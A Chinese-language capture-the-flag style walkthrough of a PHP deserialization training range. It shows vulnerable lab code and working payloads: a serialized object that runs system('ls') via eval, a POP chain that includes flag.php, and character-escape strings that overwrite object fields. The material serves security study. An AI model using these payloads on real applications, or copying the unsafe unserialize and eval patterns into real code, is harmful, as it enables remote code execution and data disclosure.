PHP反序列化靶场通关训练

admin 2024年5月15日23:51:01评论3 views字数 3730阅读12分26秒阅读模式

1 环境配置

靶场:橙子科技反序列化靶场
拉取镜像

$sudo docker pull mcc0624/ser:1.8

运行

$sudo docker run -p 8080:80 -d mcc0624/ser:1.8

PHP反序列化靶场通关训练

访问8080端口,验证是否搭建成功PHP反序列化靶场通关训练

2 靶场WP

0x06 反序列化漏洞例题

源码如下

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class test{
        public $a = 'echo "this is test!!";';
        public function displayVar() {
            eval($this->a);
        }
    }

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

漏洞成因:unserialize直接反序列化未过滤输入,若能够控制成员$a,可实现php代码执行
利用脚本

<?php
    class test{
        public $a = "system('ls');";
    }
    echo serialize(new test());
?>

运行后结果为O:4:"test":1:{s:1:"a";s:13:"system('ls');";},作为参数传递,成功实现命令执行
注意:eval函数接收php代码,必须以分号结尾,否则无法成功执行PHP反序列化靶场通关训练

0x13 POP链例题

pop链构造常规思路:从链尾开始追,直到找到可以利用的入口点
入口常用方法:__wakeup, __construct, __deconstruct, __toString
链中常用方法:__toString, __get/set, __invoke, __call
链尾方法:调用php敏感函数的方法,如file_get_contents, highlightfile, system, exec, eval, assert等
例题代码如下

<?php
    //flag is in flag.php
    highlight_file(__FILE__);
    error_reporting(0);
    class Modifier {
        private $var;
        public function append($value)
        {
            include($value);
            echo $flag;
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

追溯流程

  1. Modifier.append()存在文件包含,控制$value='flag.php'可以实现flag输出

  2. Modifier.__invoke()调用Modifier.append(),控制$var="flag.php"可以触发后续链输出flag

private成员变量修改时格式为x00类名x00成员变量名

  1. Test.__get()中调用$function(),若$function为Modifier类,可触发__invoke方法,控制变量$p=new Modifier()

  2. Show.__toString()中访问$this->str->source,若$this->str为Test类,可触发__get方法(访问不存在的成员source)

  3. Show.__wakeup()中echo输出$this->source,若$this->source为Show类,可触发__toString方法(被作为字符串使用)

至此,链子梳理完毕,构造代码如下

<?php
    class Modifier{
        private $var="flag.php";
    }
    class Show{
        public $source;
        public $str;
    }
    class Test{
        public $p;
    }
    $m = new Modifier();
    $t = new Test();
    $t->p = $m;
    $s = new Show();
    $s->str = $t;
    $s->source = $s;
    echo serialize($s);
?>

输出结果为O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}
注意:x00为不可见字符,传递时url编码%00,故最终payload为O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
得到flagPHP反序列化靶场通关训练

0x14+0x17 字符逃逸(字符减少)

字符逃逸:php反序列化字符串时根据序列化字符串中字符个数标识识别成员变量的值,如s:1:"a",将"后面的1位识别为值,因此存在如s:1:"a";s:1:"1""时的错位识别。由于php反序列化时以";}识别结束位置,二者配合,构造恶意序列化字符串造成危害

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class A{
        public $v1 = "abcsystem()system()system()";
        public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

可以看到,将system()字符串替换为空,可以逃逸8个字节
正常反序列化时,传入v1=system()&v2=2,结果为O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:1:"2";},出现错位情况
需要逃逸的字符串为17个,因此修改v1为system()system()system(),v2设置为1111111";s:2:"v2";s:1:"1";},其中1*7作为padding填充,因为3*system()可以逃逸出24个,避免覆盖要修改的变量,实现逃逸,覆盖v2的值,最终结果如下,v2被识别为1PHP反序列化靶场通关训练

基于该思路,0x17中覆盖$profile->vip=1,可实现get flag
flag可逃逸2字符,php可逃逸1字符,最终需要逃逸19个字符
payload为user='flag'*10&pass=1";s:4:"pass";s:1:"1";s:3:"vip";s:1:"1";},获取flagPHP反序列化靶场通关训练

0x15+0x16 字符逃逸(字符增加)

思路同字符减少一致,区别在于利用位置在增加的字段里
例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class A{
        public $v1 = 'ls';
        public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);

var_dump(unserialize($data));
?>

每次可以逃逸1个字节,正常反序列化时,传入v1=lsls&v2=1,结果为O:1:"A":2:{s:2:"v1";s:6:"pwdpwdpwd";s:2:"v2";s:1:"1";}产生错位
逃逸字符22个,构造payload为v1='ls'*22+";s:2:"v2";s:3:"abc";}&v2=1,最终v2被覆盖为abcPHP反序列化靶场通关训练

0x17同理,php可逃逸1字符,确保pass为escaping可get flag,逃逸个数为29
payload为param='php'*29+";s:4:"pass";s:8:"escaping";}
获取flagPHP反序列化靶场通关训练

本文作者:s0l4r, 转载请注明来自FreeBuf.COM

原文始发于微信公众号(Hacking黑白红):PHP反序列化靶场通关训练

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月15日23:51:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP反序列化靶场通关训练https://cn-sec.com/archives/2051500.html

发表评论

匿名网友 填写信息